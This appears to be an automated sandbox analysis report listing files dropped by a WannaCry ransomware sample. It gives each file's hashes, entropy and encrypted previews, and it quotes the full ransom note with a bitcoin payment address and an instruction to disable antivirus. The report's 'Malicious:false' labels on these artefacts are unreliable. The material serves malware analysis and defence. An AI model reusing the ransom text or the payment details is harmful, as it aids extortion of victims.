                                    Preview:WANACRY!.....A.....6.8......Q..r:...BV..V.h.:....%y..T.f.^....pIj.. .1O.7t...I.Q..h....<.....>..}..a...i.c......8Y.........5..k8..&h........y.."=.=.5..,...g>.t.+.....Q.`(._.....[b\..:U......a.._2.+K..{..M.<=.....j... s...p.6....#\OV3\......^.o...E..6.............2l..pkB..\t.<..p.kf...... .Q.......JH.MR...MmH..(...)0...z....%.Xp.."...:.b2u7..<.......o}..L..N...p...... c{`C...$...y..-J:/./.jt..d....q..I. .....^....#a.Jz....1..5J...s./....M.)Ud..j.n.C.k'.C......{.;..u0..h..z...a:>.8(t.N.......1..vn=..:Vr.r..8.=.H..>......O0.^-..{.4W.....%W ..'...M..X.fcZ..G|Nw..U..L.;......P.+...ZZrx..\-.......|...-..X..".fh{........H..|..@.h/./^.E:...v.m.......,..m.~...{.}....C...I....5..a.(.+;q.[..2..b.......I.`...<...........5.|N>.v1...|z.b.........J*{....|..2W..O.]..."..&j..;.|I.y.=....|...y..^)C:d.{...F.i..ZVj..R(...iQ".T@...*....y......7Gzc.5....zAv.ub.....Cgm..^{..u&.}.d..Y.v.P=..|t.."..C...&..Cw.%.\.4{41...W..<i....|........(.l8c.x.kl....

                                    C:\Users\user\Documents\LIJDSFKJZG.docx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.835473180368032
                                    Encrypted:false
                                    SSDEEP:24:2dx9FpAii7hjlwlVU5qFttSdwfKejXtHq/fnOu:AABBlwlVU5qftuwf9Uuu
                                    MD5:42857541C71B4FF54158A08334F76D11
                                    SHA1:2BC21A810A1B119E8FD63802F250ED21331EAA11
                                    SHA-256:338BFA0B7DA0BF18B28ED1FC870DAB05AEBF7A97EA07CE4D110C34B5E18F6AF6
                                    SHA-512:054731A0E8B75FEE7845806A50DFD7CBD4FE0C93CE0996E972AE34D93CE8F0497955F0A9F7608E406447E38BE0D1F18F54AF9A75877E6C0830066AD191CE219E
                                    Malicious:false
                                    Preview:.1.k?./.9......]....g..d.A.)./.U.O.........k`...........D...Q.w~}..K....4..e...~`...!..W.........=1NQ.a.f......w.a.4v....W..Z.qI..^adL....}...X_o.. $.w....u.@.3>z. .u..........3.j..DS.;Q.*Z.S.4..V<.l.5......A9>...e....z..3..../gw....:.[Z.......ml.........].....l/*&y|.S....n..dr.Y.V....J...0N.....?~...J......V.p.?..?.q..vq0...-C3=A.c1OV....i^. .....t.K.l.@h..v\.7Q..H..9/h.........>...~<.`......Hp...kl...q*$.A.$X.S..3u.....@.S..C...4..1O.$..-u......./....E.&q..B..s..."y..%....m(Q.K...|.9<...LH..M..6.M....O.......g.LBwR..>]..Xa..g...<:h.....i2V.......2h..6.....]..E)...AU...P...Q.k....G.r&:u....kn=$.0.?..1?...o..ty.9...{t.}....R....R..V......\......NF...+.j.h......0.i&..8?..f.......#....!D.@.o4Ip..)4b .F....>..D.0....h>...T7b.....E*..'N..I...C.4......b..,.?._.Q.^..n..]}.|..x...BF.Z..Ce|Y....Oq....#.......Squ.`=4q.r.........}.......~~.I..u2..i5.6............u....*(.T.&....6@....O.........?..C5.M..8W../....W.c.J..+z..$.wHt.Y.W..#vU..s..%....0w.

                                    C:\Users\user\Documents\LIJDSFKJZG.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8432040882816025
                                    Encrypted:false
                                    SSDEEP:24:bk/C9uo6B+U0uzE6E1lA90GD1d+PMPOt4kQTpaLduKSX5labcSoWJNOPEN024vv1:bkAN6BZlwGD1dUcPklduLSNoWJr2VvGU
                                    MD5:DB4EC6AD262DC2579FF26818DD156628
                                    SHA1:E27F0132AEA8FF0FB9B186125DCB76D91567CD54
                                    SHA-256:7AA3977208A9E7A0A71A399A67FB9BD9810CE16F35AEE70FC91066B546AB69B3
                                    SHA-512:480056EB5E0204D72B3B3E3C2EAFED2172C76A9C9BCC8422B36A144A507E3018E0998E2637BD4952EE8EE6AD65ECC216EA83272347DE9A73DD2A7B5B09B7676B
                                    Malicious:false
                                    Preview:WANACRY!......y..#.v.....H.&.vM.EUL...D..wI>.{......oO......<..&s.na)'.1.......$..a......jeB%..S...f....qXV.=N...O...}1.IINou.8......Y..*..hx=.2.~T~v.J...;..n..P._..G0...C....#{...P.s..(.. ....x.I.Y..5.9H...s.....c.T....Ich.H...~..c..y...{....W.:....}o.....................ji.9..b.m...e$....rt7[......lq..../........m.........u...C...).6.....I......~...........6.]0...>..'..y.v.(..y.....&..x(D..?(*...M.+....E.....C....4]..._.......L.P.V.E.).b.t.D.R+...a.......#.|6y..:]_..I..<.C.7....R.......t..8I. ..Z.,.p./.../.A....qP....l..dOp..E..NwE_.."....;x...EI....r....\.o...Wl.\.?..E~....U".=...W...jJx..\......L..l..N<.\W01...h...G....;c....#..+.-.....d#..+N...5a.N}.$+7...;..3.{...u..,^..C1;...........sO....w.b..b..o.|_z....;~T.!...9++.?..q..%.2.@..%...g.K..}..?.....]d.`.&..N...Oq8.......T..;..;D..,mD.....6.....g^..).?.l.L...$..-..b...: ..Ek..n.q1h....OB.....;.&.N....g. D....a.......4..c....Z.$.b....[..p/.,....C..3..r.8.h;....A97.+.U..0r..Ln.3:...a

                                    C:\Users\user\Documents\LIJDSFKJZG.docx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8432040882816025
                                    Encrypted:false
                                    SSDEEP:24:bk/C9uo6B+U0uzE6E1lA90GD1d+PMPOt4kQTpaLduKSX5labcSoWJNOPEN024vv1:bkAN6BZlwGD1dUcPklduLSNoWJr2VvGU
                                    MD5:DB4EC6AD262DC2579FF26818DD156628
                                    SHA1:E27F0132AEA8FF0FB9B186125DCB76D91567CD54
                                    SHA-256:7AA3977208A9E7A0A71A399A67FB9BD9810CE16F35AEE70FC91066B546AB69B3
                                    SHA-512:480056EB5E0204D72B3B3E3C2EAFED2172C76A9C9BCC8422B36A144A507E3018E0998E2637BD4952EE8EE6AD65ECC216EA83272347DE9A73DD2A7B5B09B7676B
                                    Malicious:false
                                    Preview:WANACRY!......y..#.v.....H.&.vM.EUL...D..wI>.{......oO......<..&s.na)'.1.......$..a......jeB%..S...f....qXV.=N...O...}1.IINou.8......Y..*..hx=.2.~T~v.J...;..n..P._..G0...C....#{...P.s..(.. ....x.I.Y..5.9H...s.....c.T....Ich.H...~..c..y...{....W.:....}o.....................ji.9..b.m...e$....rt7[......lq..../........m.........u...C...).6.....I......~...........6.]0...>..'..y.v.(..y.....&..x(D..?(*...M.+....E.....C....4]..._.......L.P.V.E.).b.t.D.R+...a.......#.|6y..:]_..I..<.C.7....R.......t..8I. ..Z.,.p./.../.A....qP....l..dOp..E..NwE_.."....;x...EI....r....\.o...Wl.\.?..E~....U".=...W...jJx..\......L..l..N<.\W01...h...G....;c....#..+.-.....d#..+N...5a.N}.$+7...;..3.{...u..,^..C1;...........sO....w.b..b..o.|_z....;~T.!...9++.?..q..%.2.@..%...g.K..}..?.....]d.`.&..N...Oq8.......T..;..;D..,mD.....6.....g^..).?.l.L...$..-..b...: ..Ek..n.q1h....OB.....;.&.N....g. D....a.......4..c....Z.$.b....[..p/.,....C..3..r.8.h;....A97.+.U..0r..Ln.3:...a

                                    C:\Users\user\Documents\LIJDSFKJZG.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.8083619557953154
                                    Encrypted:false
                                    SSDEEP:12:vSBct6uqnEYnE4NY3zfohKmzorUGrSHSSSfLXdJ9T/4ONB5lRMkEHIfN8ROHYYO:vSqt6uqnErLDAhKkGfZJ9T36HIFfm
                                    MD5:B4C4B72E2BEF00B8F884ABC85887F05A
                                    SHA1:C084C6D1D4CC778871CD27089FEB055A7C0601F4
                                    SHA-256:197082F62C0E9E6346B2865BB36F3572ED6D0752A557AE013D47E09E44367484
                                    SHA-512:50D56CDA5E8B64A7AFADC05E2B667043B49B55C65266F1A30B908FB612E932C661AD8D8061E2FA9BD0BD98695866E175BFB5D03D236A62622EC9198E65B6581E
                                    Malicious:false
                                    Preview:..y....5.,..Nc_..N.*.UT.'.o.o...{.O#.._.[.q6....)..B.QC.C&..7Z.."cDm"..G%.A.....9..%j.\.......!...<..y...N..Q-V.........g_....~g.B.....+/B.....Ux&...r.}?.~..4....].x..!C....Gu|>{aj..o..../..(D[.....s...._......&.A..b..JK:b..!C$q....VK .....K....Y ..X.".6d.......)mJC$.^0.R.0..W....(Vt&..Dd.>....K.K...'..uH.O.0|../.=8\...0..GzL.R:7.....O.3`..."fd.oS.F.z7.GF.W4+.?...m.p...}....gB..\....$L.D#.+<.X#.....m...5.f."]k.}.S.4...R.e...`I.S."[..q`Y.z.z...Ed............h<...2>5n.".....}.>..m.N.`&.....`.h.h.PB5.&..*..s}w.f"7...,3....'}i...K....8....y&.P..o."..7....#..2.A..<.u.Y...9..e..Cg..l6>y.....wn.r|....Y.|@....1IB..Y..._T....4....>...5*u'<.j.............)..*.)........H.L.....aA.6=.....i|.t9......(.V...n.T.W@...._.C.....U.t.'...7.2.h......;R.D..y..:......y...4{./.B.n?..........U...s...2..$...@......_.....d).....7.(......._..tv...4......x......t@..=..Bv..6Z2.p...f2.>.5......#8....aZ..NU.q..<......5.Y.9j"R.q..PV3.o..Rt....p.._b.....y...E...T<.

                                    C:\Users\user\Documents\LIJDSFKJZG.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8333543364352405
                                    Encrypted:false
                                    SSDEEP:24:bk6NJ5Kcr0zOtFbg8rFruPhUF0Gu4zYRLbucSxMe6WAjF0oVBVYdhnbw7YPi:bk6DgcPtFb1FruPCSG8buBxR6WaqIBCW
                                    MD5:84B8612F10925B2D06971426EB08B604
                                    SHA1:CE29E9F6A103D7A318C7F6E810A468EF509112FF
                                    SHA-256:BFA812C18A20A8842CC0B839FA49643461E68C1F3274B5E3228BD85742E80AE9
                                    SHA-512:108983B9CA9B531C443F59A22B75A167AB475A6AB2D8B76F813BCC3344092B59F7DED253D6B809FBC86A657B1C6C3AB3E83CD06A950DBD9E0A4CD22DF965485B
                                    Malicious:false
                                    Preview:WANACRY!....7.:.&.C..T...-%a.sp..u.W.,..0.b.2p..).M2.f.. .:>1)....B....^...*...[.k...]r.......!.P..[..Ed6..8\....#...a|.....q.%._.k..T..r...I..}...JChM[...`|..o*."....u..=A1.'...<.......n`O.K.).7..;..\.aT....&.-.Y...B02".6.)a"..0..]..X.?......'.r.......................>....M.SxF..&......0.F.....:...B....:...5R..j.. .....<E...Lf[\.(rVp..;h.oQ.....px......S..T.xf.:l9qG...].LEW..o.....-.U....e..#...u.v ........x.Q....;..w,..oX..xJ....L~.S..X..8^XJ.q...\z'..w...q.l.tM.| ....M.>.A0.?;..a.cd2!..$...S...@...s_.E....r]x....,*b.fd.....C.M.0AE....E..nw.i..g..|....O......k.5y....c.N"....=D.../.$.``......r.J.;....H..D.....V.Pa.m.!\.....JQ......k6........}+.U...Z.....'...0...S...S.b....f..m..~....o.'.z_|-........;.\W%.....C....r...,kR.C..a.rB..p.%X.:.[.....v[.n..]...;D.y.`3B...N.HM...NJ'.O.L.<..V..e..W..\`...6..A.O.......:.5W..3...z..8%......rr&.....#k..t.B6.?.<...Jo..l?.f....qr......nT|....q.....OpzA.VPl..2...\7....."Ue.........W..[..2)......Q....

                                    C:\Users\user\Documents\LIJDSFKJZG.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8333543364352405
                                    Encrypted:false
                                    SSDEEP:24:bk6NJ5Kcr0zOtFbg8rFruPhUF0Gu4zYRLbucSxMe6WAjF0oVBVYdhnbw7YPi:bk6DgcPtFb1FruPCSG8buBxR6WaqIBCW
                                    MD5:84B8612F10925B2D06971426EB08B604
                                    SHA1:CE29E9F6A103D7A318C7F6E810A468EF509112FF
                                    SHA-256:BFA812C18A20A8842CC0B839FA49643461E68C1F3274B5E3228BD85742E80AE9
                                    SHA-512:108983B9CA9B531C443F59A22B75A167AB475A6AB2D8B76F813BCC3344092B59F7DED253D6B809FBC86A657B1C6C3AB3E83CD06A950DBD9E0A4CD22DF965485B
                                    Malicious:false
                                    Preview:WANACRY!....7.:.&.C..T...-%a.sp..u.W.,..0.b.2p..).M2.f.. .:>1)....B....^...*...[.k...]r.......!.P..[..Ed6..8\....#...a|.....q.%._.k..T..r...I..}...JChM[...`|..o*."....u..=A1.'...<.......n`O.K.).7..;..\.aT....&.-.Y...B02".6.)a"..0..]..X.?......'.r.......................>....M.SxF..&......0.F.....:...B....:...5R..j.. .....<E...Lf[\.(rVp..;h.oQ.....px......S..T.xf.:l9qG...].LEW..o.....-.U....e..#...u.v ........x.Q....;..w,..oX..xJ....L~.S..X..8^XJ.q...\z'..w...q.l.tM.| ....M.>.A0.?;..a.cd2!..$...S...@...s_.E....r]x....,*b.fd.....C.M.0AE....E..nw.i..g..|....O......k.5y....c.N"....=D.../.$.``......r.J.;....H..D.....V.Pa.m.!\.....JQ......k6........}+.U...Z.....'...0...S...S.b....f..m..~....o.'.z_|-........;.\W%.....C....r...,kR.C..a.rB..p.%X.:.[.....v[.n..]...;D.y.`3B...N.HM...NJ'.O.L.<..V..e..W..\`...6..A.O.......:.5W..3...z..8%......rr&.....#k..t.B6.?.<...Jo..l?.f....qr......nT|....q.....OpzA.VPl..2...\7....."Ue.........W..[..2)......Q....

                                    C:\Users\user\Documents\LIJDSFKJZG.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.775120653668504
                                    Encrypted:false
                                    SSDEEP:24:7ARa9vPqKOKtX0Q8auG+2xHzndris60qpQ2GlBqken:k8PlOK90H2Hzde3Dp1Tn
                                    MD5:14930EE96C4F2BF6E4F97C64B41D1BAF
                                    SHA1:AEFFA185756ABED973D4A99B29377CAE631ED045
                                    SHA-256:2C30C08B9BE1FD16CBDEB85DB145E84993049A7E5F19A15AA8085FA49A377F75
                                    SHA-512:A2926AC15AC05059A76B3E4C6EFB31124128E8E8C2786A849C20016682D76322E7E19B5A018EB8C5BF20281719A509B7BBE11B89179F91B770FA22E02B60B672
                                    Malicious:false
                                    Preview:....8.h..Y..2Z[47z...WpAR5.c.<G?.K.Y=|...`>...W.Nx..$=i..k......m....lb.\.Fz.\..._n......W....M.PH..H"B...MNH.&.:.E8l6,3...s..=/}A.)f..4#:..,.Y&.p?.1\.7-.O.g..C..^.<.....1.....n.4..!.J...O.]\ds/3<O.=.[.;.l..C.N.N....<3w..;n.)X\....J..#..s~.U.'U.)AII....?......q..I...4...2.r.n...y.v.x.=.. 7M...e4.....H....O..\[.zKa|.*...n._..:..C..8.._.........>-....|.....o........[A.....H7.]...l...e!......?..p...<...x.@.@.%..y5..dDH({.^R.......m.Z..d........<...sM...R...yvcX...<... ..9ZlF/.f|..O......=.%...j...C......V..Y.\X.\:.....^.fz'.....H.T..t...../e.)...#S.@...^..V..Y?.;...J..V.3...U..._."...p._..#.../...._...#r..g.y......%K.C..M....$........T.f..99H../.V.......>.#.....g.b...%.K.....{....V..\...[(.I.C..I.y2.......U..m.E.PM5.j.......U.3bG. ..SU....R8......5C....<.....H.n.^..l.U.C...o.'.]&..{R...r..."..0...J...n.6..K.03.&..K7....X>.JKG>ux......h.$.u'_..o.I..G.....s.PA..>.'#.....eg...E**r-..A.+i..H..0@..Ea...A.......4_.(1..I=gx.a..0@M9.}...w.

                                    C:\Users\user\Documents\LIJDSFKJZG.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.827464574979934
                                    Encrypted:false
                                    SSDEEP:24:bkK4ZD6A3wWDJ7i4iF3qavjuy41c8KuxAOvWXaBQ9kazJFdyrXensCQOh0MYfA2A:bkK4ZD6JWDJ7ivB7YcbuxAd3d4ruslra
                                    MD5:403456462715774FE866999C36F06876
                                    SHA1:F39E15BCEC6E66A4D658B3408DF588BFE7486105
                                    SHA-256:28544C72D5CCD58D03C0990E02DAA7DE86A268055EFC8BFD09914125A9FE0BF2
                                    SHA-512:F4F7190499759C52AFEE5B873A113293977BA0079B1FF2C3475C16DDBD1E5155BE225B23D01AEA67DF3CE4950964EE21D9FC35C79C8B99F14F9716AC12F98DBF
                                    Malicious:false
                                    Preview:WANACRY!...........x...d./r!;..>.].P.N.H48.v..%j....X^g...F....F..0..8a.....P...W(.Z%\.FN4..p.W.......L$...k.....V...\....}T..R..5U.....y.......C....af.NM.j..*....IOZS+.(...K.N\|V..g......b..3.?....}...Y..N.$0........Uv...~.p..a.......9.Fi\|-r.I.................0......u..E2<v+..vX.....%.. 5-..]...EC..L...'....a.`2W...4{...#...$..kv.g.G.......~.9.u'...9X.o..-./..7..c.v.y..:..m....M....9.3.W....G..m......._.......SI..F.......1S4...#.....=...$&-.....M/X...K....<...A.,..I{.P..c.#... B......m..z*'n..h......1.KB+.....>$..&...Hn....T@. .p.f8.(.x....;P..[...{Q._I..a^.c>.Kl.5..M5}.,.u..YY..9..$.q..g9P.M.Tx.!j.?.#...uo.i.x..-....Nq....M...*..s....2.......l..[dH..q.`f.g.-.F.1...\.=S.....C.>..;>...(.`#..;K8....~.ko...M.rW}ND.@...D.../J.Gv....4....S...3.di\.~.m..K.L._2..IJ}f...,B..T.D..y;9.Hg.t..o...r..{...**7jb..L...{.C.d...*.w....?s.@..4..ER,{....n\.Z......n...4D.....A9.d.~....&#.#..2.z...`.....nk....ps.P.1..............l=~....$..G.u..p.

                                    C:\Users\user\Documents\LIJDSFKJZG.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.827464574979934
                                    Encrypted:false
                                    SSDEEP:24:bkK4ZD6A3wWDJ7i4iF3qavjuy41c8KuxAOvWXaBQ9kazJFdyrXensCQOh0MYfA2A:bkK4ZD6JWDJ7ivB7YcbuxAd3d4ruslra
                                    MD5:403456462715774FE866999C36F06876
                                    SHA1:F39E15BCEC6E66A4D658B3408DF588BFE7486105
                                    SHA-256:28544C72D5CCD58D03C0990E02DAA7DE86A268055EFC8BFD09914125A9FE0BF2
                                    SHA-512:F4F7190499759C52AFEE5B873A113293977BA0079B1FF2C3475C16DDBD1E5155BE225B23D01AEA67DF3CE4950964EE21D9FC35C79C8B99F14F9716AC12F98DBF
                                    Malicious:false
                                    Preview:WANACRY!...........x...d./r!;..>.].P.N.H48.v..%j....X^g...F....F..0..8a.....P...W(.Z%\.FN4..p.W.......L$...k.....V...\....}T..R..5U.....y.......C....af.NM.j..*....IOZS+.(...K.N\|V..g......b..3.?....}...Y..N.$0........Uv...~.p..a.......9.Fi\|-r.I.................0......u..E2<v+..vX.....%.. 5-..]...EC..L...'....a.`2W...4{...#...$..kv.g.G.......~.9.u'...9X.o..-./..7..c.v.y..:..m....M....9.3.W....G..m......._.......SI..F.......1S4...#.....=...$&-.....M/X...K....<...A.,..I{.P..c.#... B......m..z*'n..h......1.KB+.....>$..&...Hn....T@. .p.f8.(.x....;P..[...{Q._I..a^.c>.Kl.5..M5}.,.u..YY..9..$.q..g9P.M.Tx.!j.?.#...uo.i.x..-....Nq....M...*..s....2.......l..[dH..q.`f.g.-.F.1...\.=S.....C.>..;>...(.`#..;K8....~.ko...M.rW}ND.@...D.../J.Gv....4....S...3.di\.~.m..K.L._2..IJ}f...,B..T.D..y;9.Hg.t..o...r..{...**7jb..L...{.C.d...*.w....?s.@..4..ER,{....n\.Z......n...4D.....A9.d.~....&#.#..2.z...`.....nk....ps.P.1..............l=~....$..G.u..p.

                                    C:\Users\user\Documents\LIJDSFKJZG\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\user\Documents\LIJDSFKJZG\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\Users\user\Documents\LIJDSFKJZG\BWDRWEEARI.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.828487885569575
                                    Encrypted:false
                                    SSDEEP:24:GB3bBOM+v3a9Ci9xiY0zVvJikr83JnawdoSanyHlPL:ULBc4iX83JnawmSSyHtL
                                    MD5:CF454DF79A189D13636DEB3FA67E48F0
                                    SHA1:D8CF77FF27CB1FCFA3398418156B2928C584015D
                                    SHA-256:AC8BBC916E16296F56DA50A27A3F8B8D3D7B6135A2CB1B319D475492D26F22AE
                                    SHA-512:3E4522AD861B15D63ED254AABE7CC72597EF6DE2D6E810D1CF774491017B0A20731A24F6B085413D72C169D7CD2311D0CF690F82221421F0D4202874E44DFC52
                                    Malicious:false
                                    Preview:g..k...O5..`......). ......<.wA..{..R.|g8.?.3..].;nHr.V......j1._...mJ.s.{...Lr.P{$..VS........W.*n>....o......%x.MA.....D......V...90..L.......d.1....kg..*..Cf..{.q|2...u.H...@u.>!n..c..'p+..O.`.+.!...c..]|2.... j..H..-%...).:......z.#.m.....;I..oEU@.(.=..h._...8l.o.I..~...^....RX.......B/........;..!.G...E.....=.B..+>!....p.w...~6..w..:K.;x\..`... jh.>.h..i..0..e..;L...t....N.sZ.@...@......."./...<..%.....G..Xj............vA2.....B..>G.z..U.Aa...k.).DX...ow.7.dY.k ...7?.4S.\e.<..'.,..\..-./.F...]S*.M>.&79...FD.....#bp,.;Z...5..)!...w.j.p.....\.....<<(.$.L...m...t7.....w..f:..)k..@>.....`..!4~/....5$">..9...|.6/(..O...\}..$.m.r#.$yLc...P...h..1{b...l.w.a:....J+afJvQ.2.k......b...+.V.?.1cl....Y&L...F.'w..._.R@. .....N.:...V8....!.....Z...-.'.7.Yq.U.iB".r.d.<.[bl....SP...&{{vR.I..K\.......7B...T,Qb.e.M.. x.p.&m...F..D..d........b3.IU;.Q..n..N.....).6.2I.......w...=?j=.H..tT...m.+...Gs......=...\.b....vAa.....a....C ..a....~....'...h+.

                                    C:\Users\user\Documents\LIJDSFKJZG\BWDRWEEARI.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.83837390239013
                                    Encrypted:false
                                    SSDEEP:24:bkMxcUG4yygWHkMfBJaqusb8XrA8FknMHX2poNypEf3BGxW+mqAq:bkM2UG4ZHkwBJ4sbqrLkM3+Ef38xFt
                                    MD5:B03B525859C779021D18FD55C697E4CB
                                    SHA1:26F335DE10A91C345D6BA517EEBA47807F7C38C3
                                    SHA-256:DE6A252237CA52292C4302E6503D55A539F0317B13E688E5A74700A9E16D5CFD
                                    SHA-512:DDAE78882CB2AEC957BF1D9E82E3976A5785F250A8C9BDBBAC92774E066837480665C1A81537342CF721C6E9EFF19594F1F51BB8527BF4D5369439D3BC57F7AE
                                    Malicious:false
                                    Preview:WANACRY!....-%_)....4-.%.80......:..NX\....w.K...4V.Z.,.....9.oj......o...VmD...D...'..-.D..$L.F>...&..".T.......Eo.P.;...vg.QR..5k...A/.T'..p.+K..l.1..:|.@uOY.(.u.J.62.,.%'*.].%...J.q..$..M.'O...........-...#.Sz..F.C.t+l*..m..a....L.>..D"x..............F.............j...j3%.lc.On.k..Z.o,jqh.dh>:.....d..$.s.w ......7.e..iu.t8..t.8.....y.I.3....vk...........d'.%F..,.y)R......`...FJ.Hf<.]....5..{..F.....!....5s...B..j.x.nbU^&.QN.0..r..(....P..2I.7.yc.^!....%...I.Q..#*.p_.ZD...bB.._....W...(.WFl...=[WH>^.ld.V5....;..E@.......G8..{@l./.......iC.....!.e<r.L$3....|."7K.9..w.......R....3m...s.Z.u...V.WnF.u^..o.Y{D.,....e.=.:h71.3x7.. ...)..r;.....;.j.Rv.6jrR....q.u.H.r.k ....T..y2K.....=..3S.2....6..:..f..9'......kK<....-...T..a.l.Fn...%..4...|.....>...'.4..B^0}. .! ....>i.6..~an.S..jS....6..'.D`Z.u..n......u.O}.A.-..2..........o..%.>.....Q.bS..44.g.8elE...=....0..t.R.7...k.5....7.....-,. b...*...9-....[..9e:.~.....'....?.....R.{x.n...h]...z.M......

                                    C:\Users\user\Documents\LIJDSFKJZG\BWDRWEEARI.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.83837390239013
                                    Encrypted:false
                                    SSDEEP:24:bkMxcUG4yygWHkMfBJaqusb8XrA8FknMHX2poNypEf3BGxW+mqAq:bkM2UG4ZHkwBJ4sbqrLkM3+Ef38xFt
                                    MD5:B03B525859C779021D18FD55C697E4CB
                                    SHA1:26F335DE10A91C345D6BA517EEBA47807F7C38C3
                                    SHA-256:DE6A252237CA52292C4302E6503D55A539F0317B13E688E5A74700A9E16D5CFD
